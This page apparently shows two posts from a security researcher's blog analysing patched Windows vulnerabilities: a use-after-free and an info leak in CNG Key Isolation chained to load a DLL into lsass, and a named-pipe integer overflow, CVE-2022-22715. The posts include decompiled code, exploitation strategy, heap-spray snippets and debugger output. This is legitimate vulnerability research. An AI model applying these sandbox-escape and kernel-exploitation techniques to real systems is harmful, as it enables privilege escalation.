Normal view

There are new articles available, click to refresh the page.
Before yesterdayWHEREISK0SHL

Isolate me from sandbox - Explore elevation of privilege of CNG Key Isolation

1 September 2023 at 11:18

Author: k0shl of Cyber Kunlun

Summary

In recently months, Microsoft patched vulnerabilities I reported in CNG Key Isolation service, assigned CVE-2023-28229 and CVE-2023-36906, the CVE-2023-28229 included 6 use after free vulenrabilities with similar root cause and the CVE-2023-36906 is a out of bound read information disclosure. Microsoft marked them as "Exploitation Less Likely" in assessment status, but actually, I completed the exploitation with these two vulnerabilities.

As an annual update blogger(sorry for that:P), I share this blogpost to introduce my exploitation on CNG Key Isolation service, so let's start our journey!

Simple Overview

CNG Key Isolation is a service under lsass process which provides key process isolation to private keys, the CNG Key Isolation is worked as a RPC server that could be accessed with the Appcontainer Integrity process such as the render process in adobe or firefox. There are some important objects in keyiso service, let's go through them simply as following:

  1. Context object. Context object is just like the manage object of keyiso RPC server, it will hold the provider object when the client invoke open storage provider to create a new provider object and it is managed by a global list named SrvCryptContextList. This object must be intialized first.
  2. Provider object. Client should open an existed provider in a collection of all of the providers, if the provider open succeed, it will allocate the provider object and store the pointer into the context object.
  3. Key object. Key object is managed by context object, it will be allocated and inserted into the context object.
  4. Memory Buffer object. Memory Buffer object is managed by context object, it will be allocate and inserted into the context object.
  5. Secret object. Secret object is managed by context object, it will be allocate and inserted into the context object.

In these four objects, provider object/key object/secret object have similar object structure, offset 0x0 of the object stores the magic value, 0x44444446 means provider object, 0x44444447 means key object, 0x44444449 means secret object, when these objects freed, the magic value will be set to another value, offset 0x8 of the object stores the reference count, and offset 0x30 of the object stores the index of the object, this index is just like the handle of the object, it will be a flag when client use it to search the specified object which means the object is predictable, it is begin at 0 and when a new object allocated, it will add 1.

There is additional information to talk about how I win the race with the handle of object, when I review the code, I noticed that the handle could be predictable, let's check the SrvAddKeyToList function:

SrvAddKeyToList:
  handlevalue = ++*(_QWORD *)(context_object + 0xA0); // =====> [a]
  *(_QWORD *)(key_object + 0x30) = handlevalue; // =====> [b]

SrvFreeKey:
  if ( *((_QWORD *)key_object + 6) == handlevalue ) // ====> [c]
      break;

The handle value is stored in the offset 0xA0 of context object, and in fact, the handle value is just like a index value, the initilized value is 0, and when a new key object is allocated, the index will add 1 [a] and be set to the offset 0x30 of new key object [b]. When the key object is freed, it will compare the handle value, if it matched [c], it will continue to hit vulnerable code. So the handle value could be predictable, for example, you could call SrvFreeKey with the handle value is 1 when you create the first key, or you could call the SrvFreeKey with the handle value is 10 when you create the No.10 key object, so that the key object could be retrieved in FreeKey function when adding key to context object with the new handle value.

I make the following simple chart to show you the relationship between theses objects.

1.PNG

Root cause of CVE-2023-28229

In this section, I will introduce the root cause of CVE-2023-28299, I will use the key object as example, actually the rest of objects have similar issue.

When I do researching on keyiso service, I find out that each object has their own allocate and free interface, such as key object, there are the allocate RPC interface named s_SrvRpcCryptCreatePersistedKey and the free RPC interface named s_SrvRpcCryptFreeKey. And I quickly notice that there is an issue between object allocate and free.

__int64 __fastcall SrvCryptCreatePersistedKey(
        struct _RTL_CRITICAL_SECTION *a1,
        __int64 a2,
        _QWORD *a3,
        __int64 a4,
        __int64 a5,
        int a6,
        int a7)
{
[...]
    keyobject = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, 0x38ui64);
[...]
    *((_DWORD *)keyobject + 1) = 0;
    *(_DWORD *)keyobject = 0x44444447;
    *((_DWORD *)keyobject + 2) = 1; // ==========> [a]
    *((_QWORD *)keyobject + 4) = v12;
    SrvAddKeyToList((__int64)a1, (__int64)keyobject); // =============> [b]
    v11 = 0;
    *a3 = *((_QWORD *)keyobject + 6);
    return v11;
[...]
}

__int64 __fastcall SrvCryptFreeKey(__int64 a1, __int64 a2, __int64 a3)
{
[...]
  if ( _InterlockedExchangeAdd(freebuffer + 2, 0xFFFFFFFF) == 1 ) // ============> [c]
  {
    v17 = SrvFreeKey((PVOID)freebuffer); // ===============> [d]
    if ( v17 < 0 )
      DebugTraceError(
        (unsigned int)v17,
        "Status",
        "onecore\\ds\\security\\cryptoapi\\ncrypt\\iso\\service\\srvutils.c",
        700i64);
  }
  if ( _InterlockedExchangeAdd(freebuffer + 2, 0xFFFFFFFF) == 1 ) // ===============> [e]
  {
    v12 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*((_QWORD *)freebuffer + 4) + 0x80i64))( // ==============> [f]
            *(_QWORD *)(*((_QWORD *)freebuffer + 4) + 0x118i64),
            *((_QWORD *)freebuffer + 5));
    v13 = v12;
[...]
}

When the client invoke allocate RPC interface, keyiso will allocate a heap from proccess heap and intialize the structure, it will set the reference count of key object to 1 first [a], then it will add the key object to context object, and add the reference count [b], and when client free the key object, keyiso will check if the reference is 1 [c], if it is, keyiso will free the key object [d], but it still use the key object after free [e], then it will call the function in vftable.

There aren't lock function when the reference count of key object is initialized to 1 and added, which means there is a time window between the intialization and addition, the key object will be freed [c] [d] after the reference count is set to 1 [a], and it could pass the next check [e] when reference count add 1 [b], finally, it will cause the use after free when the function of vftable called[f].

I wrote the PoC and figured out that it may be exploitable, but as the code show below, the function of vftable is picked from the pointer stored in offset 0x20 of the keyobject which means even I could control the free buffer, I still need a validate address in the offset 0x20 of the key object. I need a information disclosure.

Root Cause of CVE-2023-36906

Then I try to find out a information disclosure, I go through the RPC interface and find out there is a property structure which is stored in provider object, and the property could be query and set with the RPC interface SPCryptSetProviderProperty and SPCryptGetProviderProperty.

__int64 __fastcall SPCryptSetProviderProperty(__int64 a1, const wchar_t *a2, _DWORD *a3, unsigned int a4, int a5)
{
[...]
    if ( !wcscmp_0(a2, L"Use Context") )
    {
      v15 = *(void **)(v8 + 32);
      if ( v15 )
        RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, v15);
      Heap = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, v6);
      *(_QWORD *)(v8 + 32) = Heap;
      if ( !Heap )
      {
        v10 = 1450i64;
LABEL_21:
        v9 = -2146893810;
        v11 = 2148073486i64;
        goto LABEL_42;
      }
      v17 = Heap;
      goto LABEL_40;
      }
      memcpy_0(v17, a3, v6); // ============> [b]
    } 
[...]
}

__int64 __fastcall SPCryptGetProviderProperty(
        __int64 a1,
        const wchar_t *a2,
        _DWORD *a3,
        unsigned int a4,
        unsigned int *a5,
        int a6)
{
[...]
    if ( !wcscmp_0(a2, L"Use Context") )
    {
      v17 = *(_QWORD *)(v10 + 32);
      v15 = 21;
      if ( !v17 )
        goto LABEL_31;
      do
        ++v13;
      while ( *(_WORD *)(v17 + 2 * v13) ); // =============> [c]
      v16 = 2 * v13 + 2;
      if ( 2 * (_DWORD)v13 == -2 )
      {
LABEL_31:
        v11 = 517i64;
LABEL_32:
        v9 = -2146893807;
        v12 = 2148073489i64;
        goto LABEL_57;
      }
      v25 = *(const void **)(v10 + 32);
      memcpy_0(a3, v25, v16); // ============> [d]
    } 
[...]
}

The client could specific which property to set, if the property named "Use Context", it will allocate a new buffer with the size which could be controlled by client, and store the "Use Context" buffer into the provider object, but when I review the query code, I notice that the "Use Context" should be a string type, it will go through the buffer in a while loop and break when it meets the null charactor [c], then return the whole buffer to client.

There will be a out of bound read when I set the "Use Context" property with a non-zero content in buffer, and actually, this property is a good object for exploitation because the size and content of the buffer could be controlled by client.

Exploitation stage

Now, I have a out of bound read which could leak the content of adjacent object and a use after free elevation privilege could call arbitrary address if I could control the free buffer. I think it's time for me to chain the vulnerability.

I look back to the free buffer to find out what I need first:

v12 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*((_QWORD *)freebuffer + 4) + 0x80i64))( 
            *(_QWORD *)(*((_QWORD *)freebuffer + 4) + 0x118i64),
            *((_QWORD *)freebuffer + 5));

If I could control the freebuffer, and I have a useful address, I could set this address to the offset 0x20 of freebuffer, and there are two important address in the validate address, the offset 0x80 of the address should be a validate function address, and the offset 0x118 should be another buffer.

The lsass process enable the XFG mitigation, so I couldn't use ROP in this exploitation, but if I could control the first parameter of the function, I could use LoadLibraryW to load a controlled dll path, so the target is set offset 0x80 of validate address to LoadlibraryW address and set the payload dll to the address which stored in offset 0x118 of the address.

As I introduce in the previous section, the property "Use Context" is a good primitive object because I could control the size and whole content of this property, and I have a out of bound read issue, so the question is what object should be adjacent to my property object?

I review all objects of keyiso, and find out the memory buffer may be a useful target.

    v7 = SrvLookupAndReferenceProvider(hContext, hProvider, 0);
    [...]
    _InterlockedIncrement((volatile signed __int32 *)(v7 + 8));
    *(_QWORD *)Heap = v7; // ===========> [a]
    *((_QWORD *)Heap + 1) = v32;
    SrvAddMemoryBufferToList((__int64)hContext, (__int64)Heap);
    v26 = *((_QWORD *)Heap + 4);
    Heap = 0i64;
    *v15 = v26;

When the memory buffer created, keyiso will look up the provider object and store the provider object in the offset 0x0 of the memory buffer[a], so if I fill up property object with non-zero value and when I query the property object, it will leak the provider object address.

And of course, different objects have different size, I don't need to worry about the different object influence the layout when I do heap fengshui.

Finally, I figure out the exploitation scenario as following:

  1. Spray the provider object and memory buffer object. Provider object is for the finaly stage of explointation, and memory buffer is for leak the provider object.

2.PNG

  1. Free some memory buffer objects to make a heap hole, then allocate property with the same size of memory buffer object, it will occupy one of the freed holes, and then query the property to get the provider object address.

3.PNG

  1. Free enough provider objects to make sure the leaked provider object is freed, and spray the properties with the same size of provider object to occupy the leaked provider object address. The LoadlibraryW address and payload dll should be stored in the offset 0x80 and offset 0x118 in the fake provider object. But I only have one leaked address, I could set the payload dll path in another offset in property buffer, and set the address in the offset 0x118 of property buffer.

4.PNG

  1. Finally, I could trigger use after free with mutiple three diffrent threads, Thread A is for allocating the key object, Thread B is for releasing the key object, Thread C is for allocating the property object with the same size of key object, and set the fake reference count and leaked property address in offset 0x20 of property buffer.

5.PNG

When client win the race which means the property object occupy the key object hole after key object freed at SrvFreeKey function, it will finally load arbitrary dll in lsass process which finally cause appcontainer sandbox escape.

Patch

Microsoft patch with adding the lock functions between the key object intialized and freed.

Before:

[...]
  RtlLeaveCriticalSection(v5);
  if ( _InterlockedExchangeAdd(freebuffer + 2, 0xFFFFFFFF) == 1 )
  {
    v17 = SrvFreeKey((PVOID)freebuffer);
    if ( v17 < 0 )
      DebugTraceError(
        (unsigned int)v17,
        "Status",
        "onecore\\ds\\security\\cryptoapi\\ncrypt\\iso\\service\\srvutils.c",
        700i64);
  }
  if ( _InterlockedExchangeAdd(freebuffer + 2, 0xFFFFFFFF) == 1 )
  {
    v12 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*((_QWORD *)freebuffer + 4) + 0x80i64))(
            *(_QWORD *)(*((_QWORD *)freebuffer + 4) + 0x118i64),
            *((_QWORD *)freebuffer + 5));
[...]

After:

[...]
    RtlEnterCriticalSection(v8);
    v12 = *((_QWORD *)v9 + 2);
    if ( *(volatile signed __int64 **)(v12 + 8) != v9 + 2
      || (v13 = (volatile signed __int64 **)*((_QWORD *)v9 + 3), *v13 != v9 + 2) )
    {
      __fastfail(3u);
    }
    *v13 = (volatile signed __int64 *)v12;
    *(_QWORD *)(v12 + 8) = v13;
    if ( _InterlockedExchangeAdd64(v9 + 1, 0xFFFFFFFFFFFFFFFFui64) == 1 )
    {
      v14 = SrvFreeKey(v9);
      if ( v14 < 0 )
        DebugTraceError(
          (unsigned int)v14,
          "Status",
          "onecore\\ds\\security\\cryptoapi\\ncrypt\\iso\\service\\srvutils.c",
          705i64);
    }
    RtlLeaveCriticalSection(v8);
    if ( _InterlockedExchangeAdd64(v9 + 1, 0xFFFFFFFFFFFFFFFFui64) == 1 )
    {
      v15 = (*(__int64 (__fastcall **)(_QWORD, _QWORD))(*((_QWORD *)v9 + 4) + 128i64))(
              *(_QWORD *)(*((_QWORD *)v9 + 4) + 280i64),
              *((_QWORD *)v9 + 5));
[...]

Thanks for discussing with @chompie1337, @DannyOdler and @cplearns2h4ck. Actually even after patch, there should be UAF after SrvFreeKey get called, because SrvFreeKey function must free the key object but there still be a reference after the function returned, but the function seems never could be called, this is weird code that I don't know why Microsoft designed it like this, but after they add lock function between key object is intialized and freed, the UAF race condition got fixed.

Break me out of sandbox in old pipe - CVE-2022-22715 Windows Dirty Pipe

25 August 2022 at 03:09

Author: k0shl of Cyber Kunlun

In February 2022, Microsoft patched the vulnerability I used in TianfuCup 2021 for escaping Adobe Reader sandbox, assigned CVE-2022-22715. The vulnerability existed in Named Pipe File System nearly 10 years since the AppContainer was born. We called it "Windows Dirty Pipe".

In this article, I will share the root cause and exploitation of Windows Dirty Pipe. So let's start our journey.

Background

Named pipe is a named, one-way or duplex pipe for communication between the pipe server and one or more pipe clients. Many browsers and applications use Named Pipe as IPC between browser process and render process. And AppContainer was introduced when Microsoft released Windows 8.1 as a sandbox mechanism to isolate resources access from UWP application.

Since then, some browsers and applications such as old edge or Adobe Reader use AppContainer as their render process sandbox, and of course, the Named Pipe File System added some mechanisms for AppContainer support. As result, it brought Windows Dirty Pipe -- CVE-2022-22715

Root Cause of Windows Dirty Pipe

The vulnerability existed in Named Pipe File System Driver - npfs.sys, and the issue function is npfs!NpTranslateContainerLocalAlias. When we invoking NtCreateFile with a named pipe path, it will hit the IRP_MJ_CREATE major function of npfs, it called NpFsdCreate.

__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
  [...]
  if ( RelatedFileObject )
  {
     [...]
  }
  if ( UnicodeString.Length )
  {
    if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> if open root directory
      goto LABEL_47;
  }
  else
  {
    if ( !RelatedFileObject || NamedPipeType == 0x201 )
    {
      [...]
    }
    if ( NamedPipeType == 0x206 )
    {
      LABEL_47:
      *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> open root directory
                                                     (__int64)&MasterIrp,
                                                     v3,
                                                     (__int64)FileObject);
      [...]
    }
  }
  if ( ifopenflag )
  {
    if ( !RelatedFileObject )
    {
      if ( createdisposition == 1 )
      {
        *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix(  // ====> open a existed directory named pipe
                                                       (__int64)v33,
                                                       v3,
                                                       FileObject,
                                                       v11,
                                                       DesiredAccess,
                                                       RequestorMode);
        [...]
      }
      if ( (unsigned int)(createdisposition - 2) <= 1 )
      {
        *(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix(  // ====> create a new directory named pipe
                                                       (__int64)v34,
                                                       v3,
                                                       FileObject,
                                                       (struct _SECURITY_SUBJECT_CONTEXT *)v11,
                                                       DesiredAccess,
                                                       RequestorMode,
                                                       Options_high);
        [...]
      }
    }
    goto LABEL_57;
  }
  [...]
  Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> create a new pipe
  [...]
}

The function dispatch into different handler function, it depends on the parameters of NtCreateFile, such as RootDirectory of ObjectAttributes or CreateDisposition. And if we create a new named pipe, it will come into NpTranslatedAlias.

NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
  [...]
  *(_QWORD *)&String1.Length = 0xE000Ci64;
  String1.Buffer = L"LOCAL\\";
  DestinationString = 0i64;
  *a3 = 0;
  Length = _mm_cvtsi128_si32(*(__m128i *)a1);
  String2 = *a1;
  String2.Length = Length;
  if ( Length >= 2u && *String2.Buffer == 0x5C )
  {
    Length -= 2;
    String2.MaximumLength -= 2;
    v7 = 1;
    ++String2.Buffer;
    String2.Length = Length;
  }
  else
  {
    v7 = 0;
  }
  if ( !Length )
    return 0;
  if ( a2 && Length > 0xCu )
  {
    if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> compare "LOCAL\\" and prefix of named pipe name
      return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> vulnerable code
  [...]
}

The named pipe name which can be controlled by us will pass into NpTranslateAlias, the function will get the prefix of the named pipe name and compare it with "LOCAL\", if our named pipe name use "LOCAL\" as the prefix, this will hit the NpTranslateContainerLocalAlias function. It means we can use "\Device\NamedPipe\LOCAL\xxxxx" as the named pipe name.

Finally, we hit the vulnerable function, it's time to show root cause.

NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
  [...]
  result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
  if ( result >= 0 )
  {
    result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
    if ( result >= 0 )
    {
      if ( !TokenInformation && !v28 ) // =====> token must be appcontainer or restricted
        return 0;
  [...]
  v14 = *namedpipename;
  *(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
  v15 = v30;
  v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
  v17 = v16;
  *((_QWORD *)&v30 + 1) = v16;
  if ( *v16 == '\\' ) 
  {
    v17 = v16 + 1;
    ifslash = 1; // ====> if there is "\\" in named pipe name, ifslash will set to 1
    v15 = v30 - 2;
  }
  else
  {
    ifslash = 0;
  }
  [...] // ====> calculate the new prefix length
  v21 = prefixlength + namedpipenamelength + 0x14; 
  v26.MaximumLength = v21;
  if ( ifslash )
  {
    v21 += 2; // ===> variable v21 is ushort type, it will be add to 0
    v26.MaximumLength = v21;
  }
  PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> v21 will be 0 because of integer overflow, and it will allocate a small pool.
  v26.Buffer = PoolWithTag;
  if ( PoolWithTag )
  {
    if ( ifslash )
    {
      v26.Buffer = PoolWithTag + 1;
      v26.MaximumLength -= 2; // if ifslash is 1, length 0 minus 2, it will cause integer underflow and the length will be set to 0xfffe
    }
    [...]
    RtlUnicodeStringPrintf(  // ====> RtlUnicodeStringPrintf will copy large size(0xfffe) buffer to a small pool cause out of bound write
      &v26,
      L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
      (unsigned int)v32,
      &v35,
      &DestinationString,
      &v30);
    [...]
  }
  [...]
}

First, npfs check the process token privilege if it's appcontianer or restricted, it must meet one of two conditions at least which means the process must be a appcontainer, a restricted sandboxed process or both. And then, function check the named pipe name if the first wchar is "\", if so, npfs set variable |ifslash| to 1. After that, it calculate a new named pipe prefix length, the new named pipe prefix include SID, session number, specify string and etc., finally the new prefix length add named pipe name length and 0x14, and if variable |ifslash| is 1, the total size will add 2 to the final size.

Note that all the variable is ushort type, so there is a obviously integer overflow, if we use a long length named pipe name, the total size will be a small value finally.

After calculation, npfs allocate a small pool because of the small total size, then if |ifslash| is 1, the total size minus 2, if the total size is 0, there is a integer underflow, and the maxiumlength of unicode string will be a large ushort value 0xfffe.

The function RtlUnciodeStringPrintf will copy a string into the new pool buffer, the length of memcpy depends on maxiumlength of unicode string, if we trigger integer underflow before, npfs will copy a large value to a small pool trigger out of bound write.

Crash Dump:

rax=0000000000000000 rbx=ffffe7862a687118 rcx=ffffe7862a687080
rdx=4141414141414141 rsi=4141414141414141 rdi=ffffe7862a6876d0
rip=fffff80313807bc8 rsp=ffffe40ab22d8420 rbp=ffffe7862a4e6820
 r8=ffffe40ab22d8470  r9=000001c7aa2763c0 r10=fffff80313807ac0
r11=ffffe7862a687080 r12=0000000000000001 r13=0000000000000001
r14=ffffe78628cbc060 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
nt!ExAcquirePushLockExclusiveEx+0x108:
fffff803`13807bc8 f0480fba2e00    lock bts qword ptr [rsi],0 ds:002b:41414141`41414141=????????????????

The crash dump shows the out of bound write corrupt some other objects after the 0x20 pool.

The purpose of NpTranslateContainerLocalAlias function is to translate the named pipe name including "LOCAL\" to a new named pipe name. For example, if the process is an appcontainer sandboxed process, it translates the name pipe name to a format string with "AppContainerNamedObjects", AppContainerNamedObjects is a directory which store some appcontainer related objects in object manager. Npfs finally create a new named pipe object under AppContainerNamedObjects directory in object manager.

But all the size variables type is ushort, this is the root cause of Windows Dirty Pipe.

Challenges of Windows Dirty Pipe

After introducing the root cause of Windows Dirty Pipe, I want to share the challenges of the CVE-2022-22715 before I public my exploitation.

When I trigger the crash and confirm the vulnerability, I quickly realize that the vulnerability is not easy to exploit, there is some challenges I will meet when I do exploit.

  1. Although integer overflow when npfs calculate the total size could make total size to a small value, such as 0x20\0x30\0x40..., but it must be 0, because we need trigger integer underflow to make maxiumlength of unicode string to a large ushort value for out of bound writing, if we set the total size to larger than 0, after total size minus 2, it's still a small value and out of bound write will not triggered.
  2. As I said above, the memcpy length is 0xfffe, it means I need to copy a more than 16 pages pool memory to a paged pool segment, this is not easy to make a stable layout.

An interesting kernel pool allocation mechanism

The first step of my exploitation is try to find a way to complete pool feng shui. In this situation, the corrupted pool must be a 0x20 paged pool, it's a kernel low fragmentation heap(LFH) pool, at first, I want to spray 0x20 LFH pools, and corrupt some 0x20 object to complete exploitation.

But there is a problem that I can't control the vulnerable 0x20 pool position in LFH bucket precisely and the memcpy length is 0xfffe, this may corrupt some unexpected objects or protected pages which cause BSoD.

I don't want to introduce kernel pool allocation deeply in my blog, there are many awesome articles/slides about it. Now let me share an interestring kernel pool allocation mechanism I used when I try to solve the problem.

As we all know, Windows kernel allocate pool segment by backend allocator and allocate subsegment by frontend allocator, and an interestring mechanism is that different type of subsegment can be allocate in the same segment.

That get my attention!

After some tests, I confirm that I can make a 0x20 LFH subsegment and a VS subsegment adjacent. This make my pool feng shui layout.

Stage 1: Preparation

Because vulnerable pool is a paged pool, so I choose WNF as my limited r/w primitive. I use _WNF_STATE_DATA as a limited out of bound read/write object -- the manager object, the maxium read/write range of _WNF_STATE_DATA is 0x1000. And I need to find another object to complete arbitrary address read/write -- the worker object. Actually, it's not difficult to find a suitable object, the object must be a paged pool object including a pointer field that could be used to read/write arbitrary address such as through memcpy.

I finally decided to use _TOKEN object as the worker object, if I invoke NtSetInformationToken with TokenDefaultDacl TokenInformationClass, nt finally invoke nt!SepAppendDefaultDacl copy a user-controlled content to a pointer field store in _TOKEN object.

void *__fastcall SepAppendDefaultDacl(_TOKEN *TOKEN, unsigned __int16 *usercontrolled)
{
  v3 = usercontrolled[1];
  v4 = (_ACL *)&TOKEN->DynamicPart[*((unsigned __int8 *)a1->PrimaryGroup + 1) + 2];
  result = memmove(v4, usercontrolled, usercontrolled[1]);
  [...]
}

And if I invoke NtQueryInformationToken with TokenBnoIsolation TokenInformationClass, nt copy a isolationprefix buffer to usermode memory.

NTSTATUS __stdcall NtQueryInformationToken(
        HANDLE TokenHandle,
        TOKEN_INFORMATION_CLASS TokenInformationClass,
        PVOID TokenInformation,
        ULONG TokenInformationLength,
        PULONG ReturnLength)
{
  [...]
      case TokenBnoIsolation:
          [...]
          memmove(
            (char *)TokenInformation + 16,
            TOKEN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
            TOEKN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
        }
  [...]
}

So I could use manager object to construct a fake _TOKEN object structure to modify the adjacent worker object, then use NtSetInformationToken and NtQueryInformationToken as arbitrary r/w primitive.

Another object I need to prepare is the 0x20 spray object, it should be full controlled by me including allocate and free. I find there is a function named nt!NtRegisterThreadTerminatePort.

NTSTATUS __fastcall NtRegisterThreadTerminatePort(void *a1)
{
  CurrentThread = KeGetCurrentThread();
  Object = 0i64;
  result = ObReferenceObjectByHandle(a1, 1u, LpcPortObjectType, CurrentThread->PreviousMode, &Object, 0i64);
  if ( result >= 0 )
  {
    PoolWithQuotaTag = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, 0x10ui64, 0x70547350u);
    v4 = PoolWithQuotaTag;
    if ( PoolWithQuotaTag )
    {
      PoolWithQuotaTag[1] = Object;
      *PoolWithQuotaTag = CurrentThread[1].InitialStack;
      result = 0;
      CurrentThread[1].InitialStack = v4;
    }
    else
    {
      ObfDereferenceObject(Object);
      return -1073741670;
    }
  }
  return result;
}

Function reference a LpcPort object and allocate a 0x20 paged pool for storing the LpcPort object, then store it into _ETHREAD object. If we create a thread and invoke NtRegisterThreadTerminatePort multiple times in thread, it could allocate a large amount of 0x20 paged pool.

Finally there was a pool feng shui plan in my head:

  1. Spray 0x20 paged pool to fill LFH subsegment, if all segment is full, backend allocation will allocate a new segment, and our new 0x20 LFH subsegment will be located in new segment.
  2. Spray _TOKEN object and _WNF_STATE_DATA object to fill VS subsegment, make sure they are in same page, and frontend allocation will finally allocate new VS subsegement, it will be located in the segement which created in step 1, adjacent to the LFH subsegment.

So our finally pool feng shui just like following:

1.PNG

Note that I can't predict the vulnerable pool's position in LFH Bucket, but actually I don't care about it, in this pool feng shui situation, the target of out of bound write is occupy the manager object and the worker object in VS subsegment, so I don't need to make pool hole for vulnerable object, just fill the LFH bucket with spray object, and make sure the vulnerable object located at the end LFH bucket.

Stage 2: Pool feng shui

When spraying WNF object, I find out that there is another object named _WNF_NAME_INSTANCES be created, it will cause frontend allocation create another LFH segment and affect our pool feng shui layout.

So before I do pool feng shui, I create a lot of 0xd0 pool and free them to make a large amount of 0xd0 pool hole to store _WNF_NAME_INSTANCES objects.

for (UINT i = 0x0; i < 0x4000; i++) {//0xf000 for normal pool hole
        AllocateWnfObject(0xd0, &gStateName[i]);
}
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000
        fNtDeleteWnfStateName(&gStateName[i]);//0x30
}

I allocate a lot amount of spray objects and spray _TOKEN objects and _WNF_STATE_DATA objects first, it will create new LFH subsegment and VS subsegement in the new segment. We can observe the final pool feng shui layout by windbg.

0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size:   20 previous size:    0  (Allocated) *PsTp Process: ffffc10b74a1c080
        Pooltag PsTp : Thread termination port block, Binary : nt!ps
 ffffb0880d69e020 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e040 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e060 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e080 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e0a0 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d69f020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f080 size:   20 previous size:    0  (Free)       ....
 ffffb0880d69f0a0 size:   20 previous size:    0  (Free)       ....
 
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a0020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a0080 size:   20 previous size:    0  (Free)       ....

0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size:   20 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a1020 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1040 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1060 size:   20 previous size:    0  (Free)       ....
 ffffb0880d6a1080 size:   20 previous size:    0  (Free)       ....
 
0: kd> !pool ffffb0880d6a2000  // ======>  new VS subsegment header
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size:   30 previous size:    0  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 ffffb0880d6a2040 size:  880 previous size:    0  (Allocated)  Toke
 ffffb0880d6a28d0 size:  580 previous size:    0  (Allocated)  Wnf  Process: ffffc10b74a1c080
 ffffb0880d6a2e50 size:  190 previous size:    0  (Free)       ..D.

2.PNG

As the layout show, there are many free LFH pool holes in the end LFH bucket, and the new VS subsegment is next to the LFH bucket, if we create vulnerable object now, it will be located in one of the free LFH pool hole.

Note the vulnerable object may not located in the last LFH page, but it's not necessary, the out of bound write may corrupt the LFH bucket will not affect our exploitation.

0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
 r8=0000000000000fff  r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450      mov     qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000

0: kd> !pool @rax // ===> vulnerable pool locate at one of free hole in LFH bucket
Pool page ffffb0880d69e750 region is Paged pool
 ffffb0880d69e700 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
 ffffb0880d69e720 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size:   20 previous size:    0  (Allocated) *NpFn
        Pooltag NpFn : Name block, Binary : npfs.sys
 ffffb0880d69e760 size:   20 previous size:    0  (Allocated)  PsTp Process: ffffc10b74a1c080
